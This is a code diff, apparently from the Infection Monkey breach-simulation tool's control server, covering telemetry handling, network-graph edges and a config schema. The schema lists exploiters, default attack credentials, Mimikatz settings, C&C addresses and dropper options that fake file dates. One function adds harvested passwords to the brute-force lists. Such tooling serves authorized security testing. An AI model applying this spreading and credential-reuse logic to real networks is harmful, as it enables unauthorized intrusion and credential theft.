||||
print("Exception caught while processing telemetry: %s" % str(ex))
|
||||
traceback.print_exc()
|
||||
|
||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||
|
||||
def add_scan_to_edge(self, edge, telemetry_json):
|
||||
def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json):
|
||||
dst_ip = telemetry_json['data']['machine']['ip_addr']
|
||||
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||
dst_node = NodeService.get_monkey_by_ip(dst_ip)
|
||||
if dst_node is None:
|
||||
dst_node = NodeService.get_or_create_node(dst_ip)
|
||||
|
||||
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
|
||||
|
||||
def process_tunnel_telemetry(self, telemetry_json):
|
||||
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
|
||||
if telemetry_json['data']['proxy'] is not None:
|
||||
host = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
|
||||
tunnel_host_id = NodeService.get_monkey_by_ip(host)["_id"]
|
||||
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_id)
|
||||
else:
|
||||
NodeService.unset_all_monkey_tunnels(monkey_id)
|
||||
|
||||
def process_state_telemetry(self, telemetry_json):
|
||||
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
|
||||
if telemetry_json['data']['done']:
|
||||
NodeService.set_monkey_dead(monkey, True)
|
||||
else:
|
||||
NodeService.set_monkey_dead(monkey, False)
|
||||
|
||||
def process_exploit_telemetry(self, telemetry_json):
|
||||
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
data = telemetry_json['data']
|
||||
data["machine"].pop("ip_addr")
|
||||
new_exploit = \
|
||||
{
|
||||
"timestamp": telemetry_json["timestamp"],
|
||||
"data": data,
|
||||
"exploiter": telemetry_json['data']['exploiter']
|
||||
}
|
||||
mongo.db.edge.update(
|
||||
{"_id": edge["_id"]},
|
||||
{"$push": {"exploits": new_exploit}}
|
||||
)
|
||||
if data['result']:
|
||||
EdgeService.set_edge_exploited(edge)
|
||||
|
||||
def process_scan_telemetry(self, telemetry_json):
|
||||
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
|
||||
data = telemetry_json['data']['machine']
|
||||
data.pop("ip_addr")
|
||||
new_scan = \
|
||||
|
@ -120,26 +117,25 @@ class Telemetry(flask_restful.Resource):
|
|||
{"$push": {"scans": new_scan}}
|
||||
)
|
||||
|
||||
def add_exploit_to_edge(self, edge, telemetry_json):
|
||||
data = telemetry_json['data']
|
||||
data["machine"].pop("ip_addr")
|
||||
new_exploit = \
|
||||
{
|
||||
"timestamp": telemetry_json["timestamp"],
|
||||
"data": data,
|
||||
"exploiter": telemetry_json['data']['exploiter']
|
||||
}
|
||||
mongo.db.edge.update(
|
||||
{"_id": edge["_id"]},
|
||||
{"$push": {"exploits": new_exploit}}
|
||||
)
|
||||
node = mongo.db.node.find_one({"_id": edge["to"]})
|
||||
if node is not None:
|
||||
if new_scan["scanner"] == "TcpScanner":
|
||||
scan_os = new_scan["data"]["os"]
|
||||
if "type" in scan_os:
|
||||
mongo.db.node.update({"_id": node["_id"]},
|
||||
{"$set": {"os.type": scan_os["type"]}},
|
||||
upsert=False)
|
||||
if "version" in scan_os:
|
||||
mongo.db.node.update({"_id": node["_id"]},
|
||||
{"$set": {"os.version": scan_os["version"]}},
|
||||
upsert=False)
|
||||
|
||||
def process_system_info_telemetry(self, telemetry_json):
|
||||
if 'credentials' in telemetry_json['data']:
|
||||
creds = telemetry_json['data']['credentials']
|
||||
for user in creds:
|
||||
ConfigService.creds_add_username(user)
|
||||
if 'password' in creds[user]:
|
||||
ConfigService.creds_add_password(creds[user]['password'])
|
||||
|
||||
|
||||
def insert_edge(self, from_id, to_id):
|
||||
edge_insert_result = mongo.db.edge.insert_one(
|
||||
{
|
||||
"from": from_id,
|
||||
"to": to_id,
|
||||
"scans": [],
|
||||
"exploits": []
|
||||
})
|
||||
return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id})
|
||||
|
|
|
@ -0,0 +1,797 @@
|
|||
from cc.database import mongo
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
SCHEMA = {
|
||||
"title": "Monkey",
|
||||
"type": "object",
|
||||
"definitions": {
|
||||
"exploiter_classes": {
|
||||
"title": "Exploit class",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SmbExploiter"
|
||||
],
|
||||
"title": "SmbExploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"WmiExploiter"
|
||||
],
|
||||
"title": "WmiExploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"RdpExploiter"
|
||||
],
|
||||
"title": "RdpExploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"Ms08_067_Exploiter"
|
||||
],
|
||||
"title": "Ms08_067_Exploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHExploiter"
|
||||
],
|
||||
"title": "SSHExploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"ShellShockExploiter"
|
||||
],
|
||||
"title": "ShellShockExploiter"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SambaCryExploiter"
|
||||
],
|
||||
"title": "SambaCryExploiter"
|
||||
}
|
||||
]
|
||||
},
|
||||
"finger_classes": {
|
||||
"title": "Fingerprint class",
|
||||
"type": "string",
|
||||
"anyOf": [
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SMBFinger"
|
||||
],
|
||||
"title": "SMBFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"SSHFinger"
|
||||
],
|
||||
"title": "SSHFinger"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"PingScanner"
|
||||
],
|
||||
"title": "PingScanner"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"HTTPFinger"
|
||||
],
|
||||
"title": "HTTPFinger"
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"properties": {
|
||||
"monkey": {
|
||||
"title": "Monkey",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"alive": {
|
||||
"title": "Alive",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Is the monkey alive"
|
||||
},
|
||||
"depth": {
|
||||
"title": "Depth",
|
||||
"type": "integer",
|
||||
"default": 2,
|
||||
"description": "Amount of hops allowed from this monkey to spread"
|
||||
}
|
||||
}
|
||||
},
|
||||
"behaviour": {
|
||||
"title": "Behaviour",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"self_delete_in_cleanup": {
|
||||
"title": "Self delete on cleanup",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Should the monkey delete its executable when going down"
|
||||
},
|
||||
"use_file_logging": {
|
||||
"title": "Use file logging",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Should the monkey dump to a log file"
|
||||
},
|
||||
"serialize_config": {
|
||||
"title": "Serialize config",
|
||||
"type": "boolean",
|
||||
"default": False,
|
||||
"description": "Should the monkey dump its config on startup"
|
||||
}
|
||||
}
|
||||
},
|
||||
"life_cycle": {
|
||||
"title": "Life cycle",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"max_iterations": {
|
||||
"title": "Max iterations",
|
||||
"type": "integer",
|
||||
"default": 1,
|
||||
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
|
||||
},
|
||||
"victims_max_find": {
|
||||
"title": "Max victims to find",
|
||||
"type": "integer",
|
||||
"default": 14,
|
||||
"description": "Determines after how many discovered machines should the monkey stop scanning"
|
||||
},
|
||||
"victims_max_exploit": {
|
||||
"title": "Max victims to exploit",
|
||||
"type": "integer",
|
||||
"default": 7,
|
||||
"description": "Determines after how many infected machines should the monkey stop infecting"
|
||||
},
|
||||
"timeout_between_iterations": {
|
||||
"title": "Wait time between iterations",
|
||||
"type": "integer",
|
||||
"default": 100,
|
||||
"description": "Determines for how long (in seconds) should the monkey wait between iterations"
|
||||
},
|
||||
"retry_failed_explotation": {
|
||||
"title": "Retry failed exploitation",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the monkey should retry exploiting machines it didn't successfuly exploit on previous iterations"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"title": "Internal",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"singleton_mutex_name": {
|
||||
"title": "Singleton mutex name",
|
||||
"type": "string",
|
||||
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||
"description": "The name of the mutex used to determine whether the monkey is already running"
|
||||
}
|
||||
}
|
||||
},
|
||||
"classes": {
|
||||
"title": "Classes",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"scanner_class": {
|
||||
"title": "Scanner class",
|
||||
"type": "string",
|
||||
"default": "TcpScanner",
|
||||
"enum": [
|
||||
"TcpScanner"
|
||||
],
|
||||
"enumNames": [
|
||||
"TcpScanner"
|
||||
],
|
||||
"description": "Determines class to scan for machines. (Shouldn't be changed)"
|
||||
},
|
||||
"finger_classes": {
|
||||
"title": "Fingerprint classes",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/finger_classes"
|
||||
},
|
||||
"default": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger"
|
||||
],
|
||||
"description": "Determines which classes to use for fingerprinting"
|
||||
},
|
||||
"exploiter_classes": {
|
||||
"title": "Exploiter classes",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"$ref": "#/definitions/exploiter_classes"
|
||||
},
|
||||
"default": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"RdpExploiter",
|
||||
"Ms08_067_Exploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter"
|
||||
],
|
||||
"description": "Determines which classes to use for exploiting"
|
||||
}
|
||||
}
|
||||
},
|
||||
"kill_file": {
|
||||
"title": "Kill file",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"kill_file_path_windows": {
|
||||
"title": "Kill file path on Windows",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey.not",
|
||||
"description": "Path of file which kills monkey if it exists (on Windows)"
|
||||
},
|
||||
"kill_file_path_linux": {
|
||||
"title": "Kill file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/var/run/monkey.not",
|
||||
"description": "Path of file which kills monkey if it exists (on Linux)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"dropper": {
|
||||
"title": "Dropper",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"dropper_set_date": {
|
||||
"title": "Dropper sets date",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the dropper should set the monkey's file date to be the same as another file"
|
||||
},
|
||||
"dropper_date_reference_path": {
|
||||
"title": "Droper date reference path",
|
||||
"type": "string",
|
||||
"default": "\\windows\\system32\\kernel32.dll",
|
||||
"description": "Determines which file the dropper should copy the date from if it's configured to do so (use fullpath)"
|
||||
},
|
||||
"dropper_target_path_linux": {
|
||||
"title": "Dropper target path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/monkey",
|
||||
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
||||
},
|
||||
"dropper_target_path": {
|
||||
"title": "Dropper target path on Windows",
|
||||
"type": "string",
|
||||
"default": "C:\\Windows\\monkey.exe",
|
||||
"description": "Determines where should the dropper place the monkey on a Windows machine"
|
||||
},
|
||||
"dropper_try_move_first": {
|
||||
"title": "Try to move first",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the dropper should try to move itself instead of copying itself to target path"
|
||||
}
|
||||
}
|
||||
},
|
||||
"logging": {
|
||||
"title": "Logging",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"dropper_log_path_linux": {
|
||||
"title": "Dropper log file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/user-1562",
|
||||
"description": "The fullpath of the dropper log file on Linux"
|
||||
},
|
||||
"dropper_log_path_windows": {
|
||||
"title": "Dropper log file path on Windows",
|
||||
"type": "string",
|
||||
"default": "C:\\Users\\user\\AppData\\Local\\Temp\\~df1562.tmp",
|
||||
"description": "The fullpath of the dropper log file on Windows"
|
||||
},
|
||||
"monkey_log_path_linux": {
|
||||
"title": "Monkey log file path on Linux",
|
||||
"type": "string",
|
||||
"default": "/tmp/user-1563",
|
||||
"description": "The fullpath of the monkey log file on Linux"
|
||||
},
|
||||
"monkey_log_path_windows": {
|
||||
"title": "Monkey log file path on Windows",
|
||||
"type": "string",
|
||||
"default":"C:\\Users\\user\\AppData\\Local\\Temp\\~df1563.tmp",
|
||||
"description": "The fullpath of the monkey log file on Windows"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"title": "C&C",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
}
|
||||
},
|
||||
"servers": {
|
||||
"title": "Servers",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"command_servers": {
|
||||
"title": "Command servers",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"41.50.73.31:5000"
|
||||
],
|
||||
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
||||
},
|
||||
"internet_services": {
|
||||
"title": "Internet services",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
],
|
||||
"description": "List of internet services to try and communicate with to determine internet connectivity (use either ip or domain)"
|
||||
},
|
||||
"current_server": {
|
||||
"title": "Current server",
|
||||
"type": "string",
|
||||
"default": "41.50.73.31:5000",
|
||||
"description": "The current command server the monkey is communicating with"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"title": "Exploits",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"skip_exploit_if_file_exist": {
|
||||
"title": "Skip exploit if file exists",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the monkey should skip the exploit if the monkey's file is already on the remote machine"
|
||||
}
|
||||
}
|
||||
},
|
||||
"credentials": {
|
||||
"title": "Credentials",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"exploit_user_list": {
|
||||
"title": "Exploit user list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
],
|
||||
"description": "List of usernames to use on exploits using credentials"
|
||||
},
|
||||
"exploit_password_list": {
|
||||
"title": "Exploit password list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"description": "List of password to use on exploits using credentials"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ms08_067": {
|
||||
"title": "MS08_067",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ms08_067_exploit_attempts": {
|
||||
"title": "MS08_067 exploit attempts",
|
||||
"type": "integer",
|
||||
"default": 5,
|
||||
"description": "Number of attempts to exploit using MS08_067"
|
||||
},
|
||||
"ms08_067_remote_user_add": {
|
||||
"title": "MS08_067 remote user",
|
||||
"type": "string",
|
||||
"default": "Monkey_IUSER_SUPPORT",
|
||||
"description": "Username to add on successful exploit"
|
||||
},
|
||||
"ms08_067_remote_user_pass": {
|
||||
"title": "MS08_067 remote user password",
|
||||
"type": "string",
|
||||
"default": "Password1!",
|
||||
"description": "Password to use for created user"
|
||||
}
|
||||
}
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"title": "RDP grinder",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"rdp_use_vbs_download": {
|
||||
"title": "Use VBS download",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to use VBS or BITS to download monkey to remote machine (true=VBS, false=BITS)"
|
||||
}
|
||||
}
|
||||
},
|
||||
"sambacry": {
|
||||
"title": "SambaCry",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"sambacry_trigger_timeout": {
|
||||
"title": "SambaCry trigger timeout",
|
||||
"type": "integer",
|
||||
"default": 5,
|
||||
"description": "Timeout (in seconds) of SambaCry trigger"
|
||||
},
|
||||
"sambacry_folder_paths_to_guess": {
|
||||
"title": "SambaCry folder paths to guess",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
'/',
|
||||
'/mnt',
|
||||
'/tmp',
|
||||
'/storage',
|
||||
'/export',
|
||||
'/share',
|
||||
'/shares',
|
||||
'/home'
|
||||
],
|
||||
"description": "List of full paths to share folder for SambaCry to guess"
|
||||
},
|
||||
"sambacry_shares_not_to_check": {
|
||||
"title": "SambaCry shares not to check",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"IPC$", "print$"
|
||||
],
|
||||
"description": "These shares won't be checked when exploiting with SambaCry"
|
||||
},
|
||||
"sambacry_commandline_filename": {
|
||||
"title": "SambaCry commandline filename",
|
||||
"type": "string",
|
||||
"default": "monkey_commandline.txt",
|
||||
},
|
||||
"sambacry_runner_result_filename": {
|
||||
"title": "SambaCry runner result filename",
|
||||
"type": "string",
|
||||
"default": "monkey_runner_result",
|
||||
},
|
||||
"sambacry_runner_filename_32": {
|
||||
"title": "SambaCry runner filename (32 bit)",
|
||||
"type": "string",
|
||||
"default": "sc_monkey_runner32.so",
|
||||
},
|
||||
"sambacry_runner_filename_64": {
|
||||
"title": "SambaCry runner filename (64 bit)",
|
||||
"type": "string",
|
||||
"default": "sc_monkey_runner64.so",
|
||||
},
|
||||
"sambacry_monkey_filename_32": {
|
||||
"title": "SambaCry monkey filename (32 bit)",
|
||||
"type": "string",
|
||||
"default": "monkey32",
|
||||
},
|
||||
"sambacry_monkey_filename_64": {
|
||||
"title": "SambaCry monkey filename (64 bit)",
|
||||
"type": "string",
|
||||
"default": "monkey64",
|
||||
},
|
||||
"sambacry_monkey_copy_filename_32": {
|
||||
"title": "SambaCry monkey copy filename (32 bit)",
|
||||
"type": "string",
|
||||
"default": "monkey32_2",
|
||||
},
|
||||
"sambacry_monkey_copy_filename_64": {
|
||||
"title": "SambaCry monkey copy filename (64 bit)",
|
||||
"type": "string",
|
||||
"default": "monkey64_2",
|
||||
}
|
||||
}
|
||||
},
|
||||
"smb_service": {
|
||||
"title": "SMB service",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"smb_download_timeout": {
|
||||
"title": "SMB download timeout",
|
||||
"type": "integer",
|
||||
"default": 300,
|
||||
"description": "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
|
||||
},
|
||||
"smb_service_name": {
|
||||
"title": "SMB service name",
|
||||
"type": "string",
|
||||
"default": "InfectionMonkey",
|
||||
"description": "Name of the SMB service that will be set up to download monkey"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"system_info": {
|
||||
"title": "System info",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"collect_system_info": {
|
||||
"title": "Collect system info",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether to collect system info"
|
||||
}
|
||||
}
|
||||
},
|
||||
"mimikatz": {
|
||||
"title": "Mimikatz",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"mimikatz_dll_name": {
|
||||
"title": "Mimikatz DLL name",
|
||||
"type": "string",
|
||||
"default": "mk.dll",
|
||||
"description": "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"title": "Network",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"general": {
|
||||
"title": "General",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"blocked_ips": {
|
||||
"title": "Blocked IPs",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
],
|
||||
"description": "List of IPs to not scan"
|
||||
},
|
||||
"local_network_scan": {
|
||||
"title": "Local network scan",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether monkey should scan its subnets additionally"
|
||||
},
|
||||
"network_range": {
|
||||
"title": "Network range",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"range_class": {
|
||||
"title": "Range class",
|
||||
"type": "string",
|
||||
"default": "FixedRange",
|
||||
"enum": [
|
||||
"FixedRange",
|
||||
"RelativeRange",
|
||||
"ClassCRange"
|
||||
],
|
||||
"enumNames": [
|
||||
"FixedRange",
|
||||
"RelativeRange",
|
||||
"ClassCRange"
|
||||
],
|
||||
"description": "Determines which class to use to determine scan range"
|
||||
},
|
||||
"range_size": {
|
||||
"title": "Relative range size",
|
||||
"type": "integer",
|
||||
"default": 1,
|
||||
"description": "Determines the size of the RelativeRange - amount of IPs to include"
|
||||
},
|
||||
"range_fixed": {
|
||||
"title": "Fixed range IP list",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"default": [
|
||||
"172.16.0.67"
|
||||
],
|
||||
"description": "List of IPs to include when using FixedRange"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"title": "TCP scanner",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"HTTP_PORTS": {
|
||||
"title": "HTTP ports",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "integer"
|
||||
},
|
||||
"default": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008
|
||||
],
|
||||
"description": "List of ports the monkey will check if are being used for HTTP"
|
||||
},
|
||||
"tcp_target_ports": {
|
||||
"title": "TCP target ports",
|
||||
"type": "array",
|
||||
"uniqueItems": True,
|
||||
"items": {
|
||||
"type": "integer"
|
||||
},
|
||||
"default": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008
|
||||
],
|
||||
"description": "List of TCP ports the monkey will check whether they're open"
|
||||
},
|
||||
"tcp_scan_interval": {
|
||||
"title": "TCP scan interval",
|
||||
"type": "integer",
|
||||
"default": 200,
|
||||
"description": "Time to sleep (in milliseconds) between scans"
|
||||
},
|
||||
"tcp_scan_timeout": {
|
||||
"title": "TCP scan timeout",
|
||||
"type": "integer",
|
||||
"default": 3000,
|
||||
"description": "Maximum time (in milliseconds) to wait for TCP response"
|
||||
},
|
||||
"tcp_scan_get_banner": {
|
||||
"title": "TCP scan - get banner",
|
||||
"type": "boolean",
|
||||
"default": True,
|
||||
"description": "Determines whether the TCP scan should try to get the banner"
|
||||
}
|
||||
}
|
||||
},
|
||||
"ping_scanner": {
|
||||
"title": "Ping scanner",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ping_scan_timeout": {
|
||||
"title": "Ping scan timeout",
|
||||
"type": "integer",
|
||||
"default": 1000,
|
||||
"description": "Maximum time (in milliseconds) to wait for ping response"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"options": {
|
||||
"collapsed": True
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class ConfigService:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def get_config():
|
||||
config = mongo.db.config.find_one({'name': 'newconfig'}) or {}
|
||||
for field in ('name', '_id'):
|
||||
config.pop(field, None)
|
||||
return config
|
||||
|
||||
@staticmethod
|
||||
def get_flat_config():
|
||||
config_json = ConfigService.get_config()
|
||||
flat_config_json = {}
|
||||
for i in config_json:
|
||||
for j in config_json[i]:
|
||||
for k in config_json[i][j]:
|
||||
flat_config_json[k] = config_json[i][j][k]
|
||||
|
||||
return flat_config_json
|
||||
|
||||
@staticmethod
|
||||
def get_config_schema():
|
||||
return SCHEMA
|
||||
|
||||
@staticmethod
|
||||
def creds_add_username(username):
|
||||
mongo.db.config.update(
|
||||
{'name': 'newconfig'},
|
||||
{'$addToSet': {'exploits.credentials.exploit_user_list': username}},
|
||||
upsert=False
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def creds_add_password(password):
|
||||
mongo.db.config.update(
|
||||
{'name': 'newconfig'},
|
||||
{'$addToSet': {'exploits.credentials.exploit_password_list': password}},
|
||||
upsert=False
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def update_config():
|
||||
pass
|
|
@ -1,11 +1,15 @@
|
|||
from bson import ObjectId
|
||||
|
||||
from cc.database import mongo
|
||||
import cc.services.node
|
||||
|
||||
__author__ = "itay.mizeretz"
|
||||
|
||||
|
||||
class EdgeService:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def get_displayed_edge_by_id(edge_id):
|
||||
edge = mongo.db.edge.find({"_id": ObjectId(edge_id)})[0]
|
||||
|
@ -26,11 +30,10 @@ class EdgeService:
|
|||
os = {}
|
||||
exploits = []
|
||||
if len(edge["scans"]) > 0:
|
||||
services = edge["scans"][-1]["data"]["services"]
|
||||
services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"])
|
||||
os = edge["scans"][-1]["data"]["os"]
|
||||
|
||||
for exploit in edge["exploits"]:
|
||||
|
||||
new_exploit = EdgeService.exploit_to_displayed_exploit(exploit)
|
||||
|
||||
if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]):
|
||||
|
@ -66,22 +69,15 @@ class EdgeService:
|
|||
def exploit_to_displayed_exploit(exploit):
|
||||
user = ""
|
||||
password = ""
|
||||
result = False
|
||||
|
||||
# TODO: implement for other exploiters
|
||||
|
||||
if exploit["exploiter"] == "RdpExploiter":
|
||||
# TODO: check if there could be multiple creds
|
||||
result = exploit["data"]["result"]
|
||||
user = exploit["data"]["machine"]["creds"].keys()[0]
|
||||
password = exploit["data"]["machine"]["creds"][user]
|
||||
|
||||
elif exploit["exploiter"] == "SmbExploiter":
|
||||
# TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt.
|
||||
result = exploit["data"]["result"]
|
||||
if result:
|
||||
user = exploit["data"]["machine"]["cred"].keys()[0]
|
||||
password = exploit["data"]["machine"]["cred"][user]
|
||||
if "creds" in exploit["data"]["machine"]:
|
||||
user = exploit["data"]["machine"]["creds"].keys()[0]
|
||||
password = exploit["data"]["machine"]["creds"][user]
|
||||
else:
|
||||
if ("user" in exploit["data"]) and ("password" in exploit["data"]):
|
||||
user = exploit["data"]["user"]
|
||||
password = exploit["data"]["password"]
|
||||
|
||||
|
@ -92,3 +88,101 @@ class EdgeService:
|
|||
"password": password,
|
||||
"result": result,
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def insert_edge(from_id, to_id):
|
||||
edge_insert_result = mongo.db.edge.insert_one(
|
||||
{
|
||||
"from": from_id,
|
||||
"to": to_id,
|
||||
"scans": [],
|
||||
"exploits": [],
|
||||
"tunnel": False,
|
||||
"exploited": False
|
||||
})
|
||||
return mongo.db.edge.find_one({"_id": edge_insert_result.inserted_id})
|
||||
|
||||
@staticmethod
|
||||
def get_or_create_edge(edge_from, edge_to):
|
||||
tunnel_edge = mongo.db.edge.find_one({"from": edge_from, "to": edge_to})
|
||||
if tunnel_edge is None:
|
||||
tunnel_edge = EdgeService.insert_edge(edge_from, edge_to)
|
||||
|
||||
return tunnel_edge
|
||||
|
||||
@staticmethod
|
||||
def generate_pseudo_edge(edge_id, edge_from, edge_to):
|
||||
return \
|
||||
{
|
||||
"id": edge_id,
|
||||
"from": edge_from,
|
||||
"to": edge_to,
|
||||
"group": "island"
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
def get_monkey_island_pseudo_edges():
|
||||
edges = []
|
||||
monkey_ids = [x["_id"] for x in mongo.db.monkey.find({}) if "tunnel" not in x]
|
||||
# We're using fake ids because the frontend graph module requires unique ids.
|
||||
# Collision with real id is improbable.
|
||||
count = 0
|
||||
for monkey_id in monkey_ids:
|
||||
count += 1
|
||||
edges.append(EdgeService.generate_pseudo_edge(
|
||||
ObjectId(hex(count)[2:].zfill(24)), monkey_id, ObjectId("000000000000000000000000")))
|
||||
|
||||
return edges
|
||||
|
||||
@staticmethod
|
||||
def get_infected_monkey_island_pseudo_edges():
|
||||
monkey = cc.services.node.NodeService.get_monkey_island_monkey()
|
||||
